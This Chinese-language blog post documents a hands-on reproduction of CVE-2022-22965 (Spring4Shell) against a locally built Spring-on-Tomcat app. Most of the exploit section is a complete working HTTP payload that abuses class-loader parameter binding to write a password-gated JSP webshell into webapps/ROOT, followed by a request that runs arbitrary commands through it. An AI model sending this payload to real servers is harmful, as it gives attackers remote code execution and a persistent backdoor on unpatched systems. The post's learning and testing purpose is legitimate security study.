CVE-2022-22965 漏洞复现学习

本文详细阐述了在JDK9及以上版本、Spring框架和Tomcat部署环境中,利用POJO参数绑定的漏洞进行Spring Framework特定版本远程代码执行(RCE)的方法,包括环境配置、POC请求示例和实际应用案例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、漏洞利用条件

  • JDK 9+
  • Spring 及其衍生框架
  • 使用Tomcat部署spring项目
  • 使用了POJO参数绑定
  • Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20 或者其他版本

二、环境搭建

1. 首先需要个实体类
public class HelloWorld {
   private String message;

   public String getMessage() {
       return message;
   }

   public void setMessage(String message) {
       this.message = message;
   }
}
3. 再写个controller传参为这个实体类型
@RestController @RequestMapping("/spring")
public class SpringRce {
   @RequestMapping("/rce")
   public void vulnerable(HelloWorld model) {
   }
}
4. 把项目打成war包放到Tomcat中部署运行

FIle — Project Structure
在这里插入图片描述
然后Build — Build Artifacts生成war包,放到Tomcatwebapps目录下,启动Tomcat

三、漏洞利用

1. 发送POC请求包

第一个包是通过Tomcat日志文件在webapps/ROOT下写一个jspshell

POST /java-sec/xstream HTTP/1.1
Cookie: JSESSIONID=0873A909194640CBAF9EEBC2283C6C97; XSRF-		TOKEN=1d91ead1-6fa9-4f1d-b8c9-5cf57dc020b8; remember-me=YWRtaW46MTY1MjUxMTU2MjQ1MTo2M2U2NmNkZjdkOWNhZDAyMzMyMjhhMjAwN2NiZTc4YQ
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Accept-Language: zh-CN,zh-Hans;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 757

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在这里插入图片描述

2. 命令执行

通过tomcatwar.jsp执行任意命令

GET /tomcatwar.jsp?pwd=j&cmd=hostname HTTP/1.1
Cookie: JSESSIONID=DF7BCBCC3317CB8B47DFD93C7F8D78FE; XSRF-TOKEN=08a2c187-4ca0-47df-8463-1189a6661f96; remember-me=YWRtaW46MTY1MjUzMjE2MTAxNTozODY1ZTMxOWU1NTg5NTMyYWZlNGQzNzhiN2Q4MGJjYg
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Accept-Language: zh-CN,zh-Hans;q=0.9
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 0

在这里插入图片描述

四、测试中应用

黑盒盲打通过传一个classloader下的属性:class.module.classLoader.defaultAssertionStatus=123看服务端是否报异常
在这里插入图片描述

白盒的就是要满足上面的利用条件,或者找到POJO传参的controller再去尝试

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值